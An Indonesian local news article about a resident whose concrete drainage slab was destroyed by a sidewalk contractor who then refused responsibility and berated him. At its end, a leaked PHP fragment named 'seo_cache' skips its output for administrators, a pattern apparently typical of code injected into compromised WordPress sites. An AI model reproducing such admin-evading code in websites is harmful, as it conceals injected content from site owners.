Pembangunan

Tidak Tanggung Jawab Pelat Beton yang Dirusak, Kontraktor Malah Tantang dan Marah-marah : Silahkan Lapor Sampai Dimana, Saya ini Orang Temperamental

×

Tidak Tanggung Jawab Pelat Beton yang Dirusak, Kontraktor Malah Tantang dan Marah-marah : Silahkan Lapor Sampai Dimana, Saya ini Orang Temperamental

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Perlakuan tidak menyenangkan dialami Peter ketika menuntut pelat beton yang dirusak kontraktor yang menangani pekerjaan drainase dan trotoar dalam kota.

Keluhan ini disampaikan Peter kepada sejumlah awak media, Kamis (27/11/2025).

Pasalnya, pelat beton yang sebelumnya terpasang di atas drainase depan kintalnya itu dirusak saat kontraktor memulai pekerjaan proyek.

“Saat itu saya sudah ingatkan ketika pelat beton mau dibongkar oleh kontraktor,” ujarnya.

Peter menyebut, dirinya mengingatkan agar dikerjakan dulu bagian yang lain hingga dipastikan betul panjang trotoar sebenarnya.

Namun kontraktor tidak ambil pusing dan mengabaikan peringatan itu.

“Ia malah menegaskan bahwa sudah sesuai panjang trotoar dan bertanggung jawab penuh atas konsekuensinya nanti,” ungkapnya lagi.

Persoalan datang usai pelat beton itu dibongkar dan dirusak, namun justru volume trotoar tidak mencukupi lagi.

Apa yang dikhawatirkan Peter jadi nyata dan kemudian tidak ada yang bertanggung jawab atas rusaknya sarana lintasan masuk ke kintalnya itu.

Saat dimintai tanggung jawab, kontraktor malah berkelit, membentak dan memarahi Peter.

“Mau lapor sampai di mana saja, saya tidak takut. Saya orangnya temperamental,” ujar Peter meniru ucapan kontraktor.

Kini tidak ada yang mau bertanggung jawab terhadap akses jalan masuk ke kintalnya yang telah dirusak itu.

Kontraktor berkelit dan malah menuding Pejabat Pembuat Komitmen (PPK) yang mesti bertanggung jawab.

Peter pun kesulitan meminta pertanggungjawaban kontraktor yang merusak pelat beton itu lantaran pekerjaan telah selesai masa kontrak.

“Dulu saya sudah ingatkan, tapi mereka ngotot bongkar. Tapi sekarang malah tidak tanggung jawab,” timpalnya.

Ia meminta agar akses masuk ke kintalnya itu segera dibangun kembali.

Saat membuat pelat beton itu ia mengeluarkan anggaran hingga 10 juta lebih.

“Saya minta itikad baik dan tanggung jawab mengembalikan pelat beton yang telah dirusak,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>